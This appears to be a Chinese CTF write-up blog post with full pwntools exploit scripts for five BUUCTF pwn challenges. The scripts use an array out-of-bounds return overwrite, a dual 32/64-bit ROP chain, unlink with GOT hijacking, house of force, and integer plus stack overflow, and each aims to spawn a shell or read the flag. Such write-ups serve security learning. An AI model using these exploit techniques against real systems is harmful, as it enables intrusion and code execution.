BUUCTF pwn wp 121 - 125

qctf2018_stack2

qctf2018_stack2$ file stack2;checksec stack2 
stack2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d39da4953c662091eab7f33f7dc818f1d280cb12, not stripped
[*] '/home/pwn/桌面/qctf2018_stack2/stack2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h] BYREF
  unsigned int v6; // [esp+1Ch] [ebp-8Ch] BYREF
  int v7; // [esp+20h] [ebp-88h] BYREF
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int m; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( m = 0; m < j; ++m )
      v9 += v13[m];
  }
  return 0;
}

在这里插入图片描述

数组越界(可以直接跳过canary保护), 修改ret addr到后门hackhere

offset需要调试出来, 栈帧跟IDA显示的不一致

在这里插入图片描述

在这里插入图片描述

pwndbg> distance 0xffffd0d8 0xffffd15c
0xffffd0d8->0xffffd15c is 0x84 bytes (0x21 words)

offset = 0x84

from pwn import *

url, port = "node4.buuoj.cn", 28518
filename = "./stack2"
elf = ELF(filename)
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def write_addr(addr, num):
	io.sendline("3")
	io.sendlineafter("which number to change:\n", str(addr))
	io.sendlineafter("new number:\n", str(num))
	io.recvuntil("5. exit\n")

def pwn():
    hackhere_addr = 0x0804859B
    offset = 0x84

    io.sendlineafter("How many numbers you have:\n","1")
    io.sendlineafter("Give me your numbers\n","1")
    io.recvuntil("5. exit\n")

    write_addr(offset, 0x9B)
    write_addr(offset + 1, 0x85)
    write_addr(offset + 2, 0x04)
    write_addr(offset + 3, 0x08)

    io.sendline('5')


if __name__ == "__main__":
    pwn()
    io.interactive()

强网杯2019 拟态 STKOF

强网杯2019 拟态 STKOF$ file pwn;checksec pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=4e9e524accf0d36bc192e45338f529b360e5e92b, not stripped
[*] '/home/pwn/桌面/强网杯2019 拟态 STKOF/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
强网杯2019 拟态 STKOF$ file pwn2; checksec pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=99a007f4c6dd4896b9a352cbfc2911390754b257, not stripped
[*] '/home/pwn/桌面/强网杯2019 拟态 STKOF/pwn2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

第一次做拟态的题目, 拟态的思想是不同程序相同功能, 但是不同架构, 要求两个程序输出结果一致, 否则崩溃
这个题给了32位和64位程序, 32位偏移0x110, 64位偏移0x118

32位

int vul()
{
  char v1[264]; // [esp+Ch] [ebp-10Ch] BYREF

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  j_memset_ifunc(v1, 0, 256);
  read(0, v1, 768);
  return puts(v1);
}

64位

__int64 vul()
{
  __int64 v0; // rdx
  char buf[272]; // [rsp+0h] [rbp-110h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  j_memset_ifunc(buf, 0LL, 256LL);
  read(0, buf, 0x300uLL);
  return puts(buf, buf, v0);
}

因为要同时打通两个程序, 所以payload需要精心构造, 思路总体来说, 就是利用0x118 - 0x110 = 0x08的距离执行add esp xx将32位的栈迁移到ROP64的payload之后, 然后分治思想, 对于64位构造64位的ROP, 对于32位构造32位ROP, 分别都是调用read函数, 读取'/bin/sh\x00', 然后执行bss段. 这题绕过拟态防御的关键就是32位程序执行payload时会迁移栈, 然后继续执行ROP32, 64位程序则是常规执行ROP64, 两者互不干扰, 这样就能实现同一payload, 同时打通两个架构的程序.

在这里插入图片描述

from pwn import *

url, port = "node4.buuoj.cn", 27154
elf32 = ELF('./pwn')
elf64 = ELF('./pwn2')

local = 0
if local:
    context.log_level = "debug"
    io = process('./pwn2') # process('./pwn')
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    # 32 bits 
    pop_eax = 0x080a8af6
    pop_edx_ecx_ebx = 0x0806e9f1
    int80 = 0x080495a3
    read32 = elf32.sym['read']
    bss32 = 0x080DA320
    add_esp_7C_pop4 = 0x0804933F

    # 64 bits
    pop_rax = 0x000000000043b97c
    pop_rbx = 0x0000000000400d38
    pop_rdx = 0x000000000043b9d5
    pop_rsi = 0x0000000000405895
    pop_rdi = 0x00000000004005f6
    read64 = elf64.sym['read']
    bss64 = 0x00000000006A32E0
    syscall = 0x00000000004011dc

    payload = cyclic(0x110)
    payload += p32(add_esp_7C_pop4) + p32(0) # stack pivot

    # 64bits ROP
    # read(0, bss64, 0x10)
    payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss64)
    payload += p64(pop_rdx) + p64(0x10) + p64(read64)
    # execve(bss64, 0, 0)
    payload += p64(pop_rdi) + p64(bss64) + p64(pop_rax) + p64(59)
    payload += p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
    payload = payload.ljust(0x1A0, b'\x00') # 0x110 + 0x4 + 0x8C = 0x1A0
    
    # 32bits ROP
    # read(0, bss32, 0x10)
    payload += p32(read32) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss32) + p32(0x10)
    #execve(bss32, 0, 0)
    payload += p32(pop_eax) + p32(0x0B) + p32(pop_edx_ecx_ebx)
    payload += p32(0) + p32(0) + p32(bss32) + p32(int80)

    io.sendafter('try to pwn it?', payload)
    sleep(0.3)
    io.send('/bin/sh\x00')


if __name__ == "__main__":
    pwn()
    io.interactive()

zctf_2016_note3

zctf_2016_note3$ file zctf_2016_note3;checksec zctf_2016_note3 
zctf_2016_note3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=8742f53238394d6ada3982d71592ac0928f06df6, stripped
[*] '/home/pwn/桌面/zctf_2016_note3/zctf_2016_note3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

漏洞在edit

int edit()
{
  __int64 v0; // rax
  __int64 v2; // [rsp+0h] [rbp-10h]
  __int64 v3; // [rsp+8h] [rbp-8h]

  puts("Input the id of the note:");
  v2 = sub_4009B9();
  v3 = v2 % 7;
  if ( v2 % 7 >= v2 )
  {
    v0 = (__int64)*(&ptr + v3);
    if ( v0 )
    {
      puts("Input the new content:");
      sub_4008DD((__int64)*(&ptr + v3), qword_6020C0[v3 + 8], '\n');
      qword_6020C0[0] = (__int64)*(&ptr + v3);
      LODWORD(v0) = puts("Edit success");
    }
  }
  else
  {
    LODWORD(v0) = puts("please input correct id.");
  }
  return v0;
}
unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)
{
  char buf; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  for ( i = 0LL; a2 - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    *(i + a1) = buf;
  }
  *(a1 + i) = 0;
  return i;
}

检查输入的长度值, 当a2 == 0, 即a2 - 1 == -1, 会导致输入长度无限制, 那存在堆溢出, 可以修改下一个chunk, 所以可以控制fd和bk, 则使用unlink控制主结构体
因为没有show, 需要劫持got表的free到puts, 这样可以泄露fastbin的fd, 进而得到libc, 然后再打atoi@got到system即可

在这里插入图片描述
unlink之后, note[2]的content指针会指向0x6020c, 也就是主结构体, 这样可以劫持content指针为所欲为
在这里插入图片描述

from pwn import *

url, port = "node4.buuoj.cn", 28360
filename = "./zctf_2016_note3"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(size, content):
   io.sendlineafter('option--->>\n', '1')
   io.sendlineafter('(less than 1024)', str(size))
   io.sendlineafter('content:', content)
 
def edit(index, content):
   io.sendlineafter('option--->>\n', '3')
   io.sendlineafter('Input the id of the note:\n', str(index))
   io.sendlineafter('Input the new content:\n', content)
 
def delete(index):
   io.sendlineafter('option--->>\n', '4')
   io.sendlineafter('Input the id of the note:\n', str(index))

def pwn():
    free_got = elf.got['free']
    atoi_got = elf.got['atoi']
    puts_plt = elf.plt['puts']
    ptr = 0x00000000006020C8

    add(0, 'chunk0')
    add(0x100, 'chunk1')   
    add(0x100, 'chunk2')
    add(0x100, 'chunk3')
    # B()
    payload = p64(0) * 3 + p64(0x121) + cyclic(0x110)
    payload += p64(0) + p64(0x101) 
    payload += p64(ptr + 0x10 - 0x18) + p64(ptr + 0x10 - 0x10)
    payload += cyclic(0xE0) + p64(0x100) + p64(0x110)
    edit(0, payload)
    # B()
    delete(1) # unlink
    # B()
    payload = cyclic(0x8) + p64(free_got) + p64(atoi_got) * 3 # note[-1:4]
    edit(2, payload)
    # B()
    edit(0, p64(puts_plt)[:-1]) # sendline has '/n'
    delete(2) # leak atoi
    atoi_addr = u64(io.recv(6).ljust(8, b'\x00'))
    lf('atoi address', atoi_addr)

    libc_base = atoi_addr - libc.sym['atoi']
    system_addr = libc_base + libc.sym['system']

    edit(3, p64(system_addr)[:-1]) # sendline has '/n' 
    io.recvuntil('>>\n')
    io.send('/bin/sh\x00')


if __name__ == "__main__":
    pwn()
    io.interactive()

小结
整数溢出 + unlink 打got表改free到puts实现无show泄露, 再打got表atoi, get shell

bcloud_bctf_2016

bcloud_bctf_2016$ file bcloud_bctf_2016;checksec bcloud_bctf_2016 
bcloud_bctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
[*] '/home/pwn/桌面/bcloud_bctf_2016/bcloud_bctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

一开始读取name, inputs函数有off-by-null漏洞, 并且这个漏洞会影响到strcpy, 也就是栈变量不输入截断符可以连着打印出栈内容, 这一点可以利用来泄露地址信息

unsigned int sub_80487A1()
{
  char s[64]; // [esp+1Ch] [ebp-5Ch] BYREF
  char *v2; // [esp+5Ch] [ebp-1Ch]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  memset(s, 0, 0x50u);
  puts("Input your name:");
  inputs((int)s, 64, 10);
  v2 = (char *)malloc(0x40u);
  dword_804B0CC = (int)v2;
  strcpy(v2, s);
  sub_8048779(v2);
  return __readgsdword(0x14u) ^ v3;
}

int __cdecl sub_804868D(int a1, int a2, char a3)
{
  char buf; // [esp+1Bh] [ebp-Dh] BYREF
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  *(_BYTE *)(i + a1) = 0; // off-by-one(null)
  return i;
}

结构体是size和contents分开存储, 注意到malloc(size + 4), 所以off-by-one被修补了, 这个漏洞就无法利用. 但是注意到size可以输入任意大小, 或许可以利用这一点.

int add()
{
  int result; // eax
  int i; // [esp+18h] [ebp-10h]
  int size; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i <= 9 && contents[i]; ++i )
    ;
  if ( i == 10 )
    return puts("Lack of space. Upgrade your account with just $100 :)");
  puts("Input the length of the note content:");
  size = sub_8048709();
  contents[i] = (int)malloc(size + 4);
  if ( !contents[i] )
    exit(-1);
  sizes[i] = size;
  puts("Input the content:");
  inputs(contents[i], size, '\n');
  printf("Create success, the id is %d\n", i);
  result = i;
  flags[i] = 0;
  return result;
}

之后其他常见堆漏洞就没找到了, 不过一开始的输入函数有漏洞, 通过不输入截断符, 可以溢出覆盖chunk

unsigned int sub_804884E()
{
  char s[64]; // [esp+1Ch] [ebp-9Ch] BYREF
  char *v2; // [esp+5Ch] [ebp-5Ch]
  char v3[68]; // [esp+60h] [ebp-58h] BYREF
  char *v4; // [esp+A4h] [ebp-14h]
  unsigned int v5; // [esp+ACh] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  memset(s, 0, 0x90u);
  puts("Org:");
  inputs((int)s, 64, 10);
  puts("Host:");
  inputs((int)v3, 64, 10);
  v4 = (char *)malloc(0x40u);
  v2 = (char *)malloc(0x40u);
  dword_804B0C8 = (int)v2;
  dword_804B148 = (int)v4;
  strcpy(v4, v3);
  strcpy(v2, s);
  puts("OKay! Enjoy:)");
  return __readgsdword(0x14u) ^ v5;
}

综合上述分析, 因为size可以任意大, 那么想到house of force利用, 而且因为溢出堆导致top chunk size可控, 且PIE没开导致可以计算top chunk和程序段offset, 满足house of force利用条件.

漏洞利用: 先泄露堆地址, top_chunk地址, 计算到主结构体contents的offset, malloc一个offset - 0x10大小的chunk, top chunk会冲到contents - 0x8处(预留chunk header的0x08大小), 此时malloc一个chunk, 就可以控制contents指针数组, 实现任意读写就可以为所欲为了
之后就归约到劫持got表泄露libc, 和劫持got表打system的常规操作

在这里插入图片描述
在这里插入图片描述

from pwn import *

url, port = "node4.buuoj.cn", 26292
filename = "./bcloud_bctf_2016"
elf = ELF(filename)
libc = ELF("./libc32-2.23.so")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(size, content):
   io.sendlineafter('option--->>', '1')
   io.sendlineafter('Input the length of the note content:', str(size))
   io.sendafter('Input the content:', content)
 
def edit(index, content):
   io.sendlineafter('option--->>', '3')
   io.sendlineafter('Input the id:', str(index))
   io.sendlineafter('Input the new content:', content)
 
def delete(index):
   io.sendlineafter('option--->>', '4')
   io.sendlineafter('Input the id:', str(index))

def pwn():
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    free_got = elf.got['free']
    contents_addr = 0x0804B120
    io.sendafter('Input your name:', b'z'*0x40)
    io.recvuntil(b'z'*0x40)
    heap_addr = u32(io.recv(4))
    top_chunk_addr = heap_addr + 0xD0
    lf('heap address', heap_addr)
    lf('top chunk address', top_chunk_addr)

    io.sendafter('Org:', b'z'*0x40)
    io.sendlineafter('Host:', p32(0xffffa1c4))
    
    offset = contents_addr - top_chunk_addr - 0x10
    lf('offset', offset)
    add(offset, 'chunk0\n')
    # B()
    add(0x20, '\n') # malloc contents structure 
    # B()
    payload = p32(0) + p32(free_got) + p32(puts_got) + p32(contents_addr + 0x10) + b'/bin/sh\x00' 
    edit(1, payload)
    # B()
    # hijack free@got to puts@plt
    edit(1, p32(puts_plt))
    delete(2) # leak puts@got
    io.recv(1)
    puts_addr = u32(io.recv(4))
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    lf('libc base address', libc_base)
    lf('system address', system_addr)

    # hijack free@got to system
    edit(1, p32(system_addr))
    delete(3) # system('/bin/sh')


if __name__ == "__main__":
    pwn()
    io.interactive()

小结
逻辑漏洞 + house of force

hgame2018_flag_server

hgame2018_flag_server$ file flag_server;checksec flag_server
flag_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38ec89d6f6386b324c132ada4ec2d02bd08cd514, not stripped
[*] '/home/pwn/桌面/hgame2018_flag_server/flag_server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [esp+8h] [ebp-60h] BYREF
  int v6; // [esp+Ch] [ebp-5Ch] BYREF
  int i; // [esp+10h] [ebp-58h]
  int v8; // [esp+14h] [ebp-54h]
  char s1[64]; // [esp+18h] [ebp-50h] BYREF
  int v10; // [esp+58h] [ebp-10h]
  unsigned int v11; // [esp+5Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  init();
  v10 = 0;
  printf("loading");
  for ( i = 0; i >= 0; ++i )
  {
    if ( !(i % 100000000) )
      putchar(46);
  }
  puts("OK\n");
  v5 = 0;
  printf("your username length: ");
  __isoc99_scanf("%d", &v5);
  while ( v5 > 63 || !v5 )
  {
    puts("sorry,your username is too LOOOOOOOOONG~~\nplease input again.\n");
    printf("your username length: ");
    while ( getchar() != 10 )
      ;
    __isoc99_scanf("%d", &v5);
  }
  puts("whats your username?");
  read_n(s1, v5);
  if ( !strcmp(s1, "admin") )
  {
    v3 = time(0);
    srand(v3);
    v8 = rand();
    printf("hello admin, please input the key: ");
    __isoc99_scanf("%u", &v6);
    if ( v6 != v8 )
    {
      puts("noooo, you are not the TRUE admin!!!\nwho are you???");
      exit(0);
    }
    v10 = 1;
  }
  printf("hello %s, here is what I want to tell you:", s1);
  if ( v10 )
    system("cat flag");
  else
    puts(&byte_8048BF4);
  return 0;
}

整数溢出 + 栈溢出

from pwn import *

url, port = "node4.buuoj.cn", 26720
filename = "./flag_server"
elf = ELF(filename)
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    payload = cyclic(0x100)
    io.sendlineafter('your username length: ', '-1')
    io.sendlineafter('username?\n', payload)

if __name__ == "__main__":
    pwn()
    io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值